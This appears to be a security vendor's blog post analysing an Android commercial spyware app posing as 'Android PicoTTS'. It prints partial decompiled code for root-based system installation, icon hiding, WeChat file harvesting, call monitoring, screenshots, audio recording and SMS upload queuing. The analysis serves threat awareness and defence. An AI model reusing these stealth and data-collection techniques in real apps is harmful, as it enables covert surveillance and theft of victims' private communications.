Sophisticated Commercial Spyware Puts User Data at Risk

Trojan spyware can eavesdrop on a user’s device to secretly steal information. There are commercial spyware apps that market themselves as benign parental control tracking/monitoring tools. These apps normally require manual installation, and are often sold on underground hacker websites. In many cases, the data collected from these apps is stored on servers that are not accessible by the users. Sometimes, the unprotected data is leaked, and the user’s privacy is put at risk. Trustlook Labs has detected a commercial spyware app that collects a large amount of user information including call logs, chat logs, and SMS messages from devices across the world

The spyware app has the following specifications:

  • MD5: 0cb7ff97e8800d4a794ed0b4402a395d
  • SHA256: 03ea783659565b3e15e2d0c461c31fda4173214151de7b01a4b04403a38a34ba
  • Size: 765214 bytes
  • App name: Android PicoTTS
  • Package name: com.procses.acores

The app needs to be installed manually, so it requests the user to activate device administrator:

image1spy

The app provides step-by-step settings for the user to choose from:

image2spy

The app will install itself as a system app if the user grants it root privilege. This makes the uninstallation process more difficult.

public static boolean a(String str) {
        boolean b = a ? a("zlsu", str) == 0 : b(str);
        Log.i(c, a ? "zlsu " : "su " + str + ":" + String.valueOf(b));
        return b;
    }
    public static boolean a(boolean z) {
        String str = "su";
        if (z) {
            str = "zlsu";
        }
        return (!z || new File("/system/bin/" + str).exists()) && a(str, "exit") == 0;
    }
[]
    public static boolean b(Context context) {
        int i = 0;
        String str = context.getPackageName() + ".apk";
        String f = f(context);
        if (f == null) {
            return false;
        }
        File file = new File(f);
        File file2 = new File(new StringBuilder(String.valueOf(context.getFilesDir().getParent())).append("/lib/").toString());
        a("mount -o rw,remount -t yaffs2 /dev/block/mtdblock3 /system");
        if (file2.exists() && file2.isDirectory()) {
            File[] listFiles = file2.listFiles();
            if (listFiles.length > 0) {
                a("chmod 777 /system/lib");
                int length = listFiles.length;
                while (i < length) {
                    File file3 = listFiles[i];
                    if (!file3.isDirectory()) {
                        b(file3.getPath(), "/system/lib/");
                        a("chmod 4755  /system/lib/" + file3.getName());
                        a("chown 1000:1000  /system/lib/" + file3.getName());
                    }
                    i++;
                }
            }
        } 

The malware can hide its icon on the device:

final class w
  implements DialogInterface.OnClickListener
{
  w(MainActivity paramMainActivity, Context paramContext) {}
  
  public final void onClick(DialogInterface paramDialogInterface, int paramInt)
  {
    if (paramInt == -1) {}
    try
    {
      this.b.getPackageManager().setComponentEnabledSetting(new ComponentName(this.b, "com.procses.acores.MainActivity"), 2, 1);
      a.b(this.b);
[]

The app is capable of collecting information from popular chat apps in China, such as:

• 易信 (Yixin)
• 微信 (WeChat)
• QQ
• HD QQ
• WhatsApp
• 陌陌 (MOMO messenger)
• YY

The code snippets below are used to collect WeChat files:

public final class bc
{
  static String a = "/tencent/MicroMsg";
  static ArrayList b;
  
  static
  {
    ArrayList localArrayList = new ArrayList();
    b = localArrayList;
    localArrayList.add("Download");
    b.add("Game");
    b.add("locallog");
    b.add("vusericon");
    b.add("wallet");
    b.add("watchdog");
    b.add("WeiXin");
    b.add("xlog");
  }
  
  public static ArrayList a()
  {
    Object localObject = new File(Environment.getExternalStorageDirectory().getPath() + a);
    ArrayList localArrayList1 = new ArrayList();
    ArrayList localArrayList2;
    int i;
    if (((File)localObject).exists())
    {
      localObject = ((File)localObject).listFiles(new bd());
      localArrayList2 = new ArrayList();
      int j = localObject.length;
      i = 0;
      if (i < j) {
        break label96;
      }
      localObject = localArrayList2.iterator();
    }
    for (;;)
    {
      if (!((Iterator)localObject).hasNext())
      {
        return localArrayList1;
        label96:
        String str2 = localObject[i];
        String str1 = str2.getPath() + "/voice";
        str2 = str2.getPath() + "/voice2";
        if (new File(str1).exists()) {
          localArrayList2.add(str1);
        }
        if (new File(str2).exists()) {
          localArrayList2.add(str2);
        }
        i += 1;
        break;
      }
      localArrayList1.addAll(a(new File((String)((Iterator)localObject).next()), new be()));
    }
  }
  
[]
  public final void onCallStateChanged(int paramInt, String paramString)
  {
    Date localDate = new Date();
    new SimpleDateFormat("yyyyMMddHHmmss").format(localDate);
    switch (paramInt)
    {
    default: 
[]
    case 2: 
      g.a(this.a, "Look_CallLog", k.b);
      return;
    }
    g.a(this.a, "Look_CallLog", k.d);
    g.g = paramString;
  }

The app also can take screenshots with the following command:

String format = this.e.format(new Date());
        String runing2 = MyClass.getRuning2(this.a);
        Log.i(this.f, runing2);
        if (this.g.containsKey(runing2)) {
            runing2 = "/data/data/" + this.c.getPackageName() + "/screencap";
            String stringBuilder = new StringBuilder(String.valueOf(SmsService.a(aq.d))).append(format).toString();
            try {
                if (MyClass.SavePic(this.c, runing2, stringBuilder, Integer.parseInt(PreferenceManager.getDefaultSharedPreferences(this.c).getString("picQuality", "5"))) && new File(stringBuilder).exists()) {
                    int a;
[]
                    options.inPreferredConfig = Config.ARGB_8888;
                    options.inSampleSize = 1;
                    if (!(i == 0 || i2 == 0)) {
                        options.inSampleSize = ((i / 15) + (i2 / 15)) / 2;
                    }
                    options.inJustDecodeBounds = false;
                    Bitmap decodeFile = BitmapFactory.decodeFile(stringBuilder, options);

The following code snippets are used to record sound:

public class RecordPhone2
  extends IRecordPhone
{
  private static MediaRecorder recorder;
  int Audio_source;
  Context ct;
  String tag = "RecordPhone2";
  
  public RecordPhone2(int paramInt)
  {
    this.Audio_source = paramInt;
  }
  
  private void releaseMediaRecorder()
  {
    if ((recorder == null) || (recording)) {}
    for (;;)
    {
      try
      {
        Log.i(this.tag, "releaseMediaRecorder");
        recorder.stop();
        recording = false;
        recorder.reset();
        recorder.release();
        recorder = null;
        return;
      }
[]
      }

The following code snippets are used to upload SMS messages:

public final class b
{
  static String a = "upload";
  static String b = "Database";
  
  public static ArrayList a(Context paramContext)
  {
    localArrayList = new ArrayList();
    try
    {
      paramContext = paramContext.openOrCreateDatabase(paramContext.getPackageName(), 0, null);
      Cursor localCursor = paramContext.query("upload", new String[] { "id", "smstype", "needDel", "ext", "title", "body", "filename", "uploaded", "date" }, "uploaded=?", new String[] { "0" }, null, null, "id");
      for (;;)
      {
        if (!localCursor.moveToNext())
        {
          localCursor.close();
          paramContext.close();
          return localArrayList;
        }
        c localc = new c();
        localc.d = localCursor.getInt(localCursor.getColumnIndex("id"));
        localc.i = localCursor.getString(localCursor.getColumnIndex("smstype"));
        localc.a = localCursor.getString(localCursor.getColumnIndex("title"));
        localc.g = localCursor.getString(localCursor.getColumnIndex("ext"));
        localc.b = localCursor.getString(localCursor.getColumnIndex("body"));
        localc.e = localCursor.getString(localCursor.getColumnIndex("filename"));
        localc.c = localCursor.getString(localCursor.getColumnIndex("uploaded"));
        localc.f = localCursor.getString(localCursor.getColumnIndex("date"));
        localc.h = localCursor.getInt(localCursor.getColumnIndex("needDel"));
        localArrayList.add(localc);
      }
      return localArrayList;
    }
    catch (Exception paramContext) {}
  }
  
[]
      localContentValues.put("needDel", Integer.valueOf(i));
      localContentValues.put("date", DateTimeHelper.FormatDateString(new Date()));
      paramContext.insert("upload", null, localContentValues);
      paramContext.close();
      return;
    }
    catch (Exception paramContext) {}
  }

The developer/vendor uses QQ (instant chat app) to communicate with the user. After the user buys the registration code, the app will be activated:

    public static boolean a(Context context, String str) {
        String a = ab.a(context);
        String a2 = ab.a(a, str);
        if (!(str == null || str == "")) {
            if (MyClass.isValidDate(a2) != null) {
                ab.a(context, "JerryRegisterCode_Key2", str, ar.i, a);
                if (a2.equals(ab.a)) {
                    SmsService.b(context, "软件已被取消激活", "╠㊣╣" + ar.a + ",当前授权时间至:" + a2);
                } else {
                    SmsService.b(context, "注册成功", "╠㊣╣" + ar.a + ",当前授权时间至:" + a2);
                }
            } else {
                SmsService.b(context, "注册失败", "未注册" + ar.a + ",注册码有误,注册不成功。提交注册码为:" + str + " 机器码为:" + ab.a(context));
            }
        }
        return true;
}

Summary
Commercial spyware apps can be used for legitimate purposes, but when put in the wrong hands, they can be effective attack tools against innocent people. These apps are often installed silently, and can take full control of a mobile device. This lets potential attackers monitor the user’s activities remotely. Trustlook’s anti-threat platform can effectively protect users against these threats.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s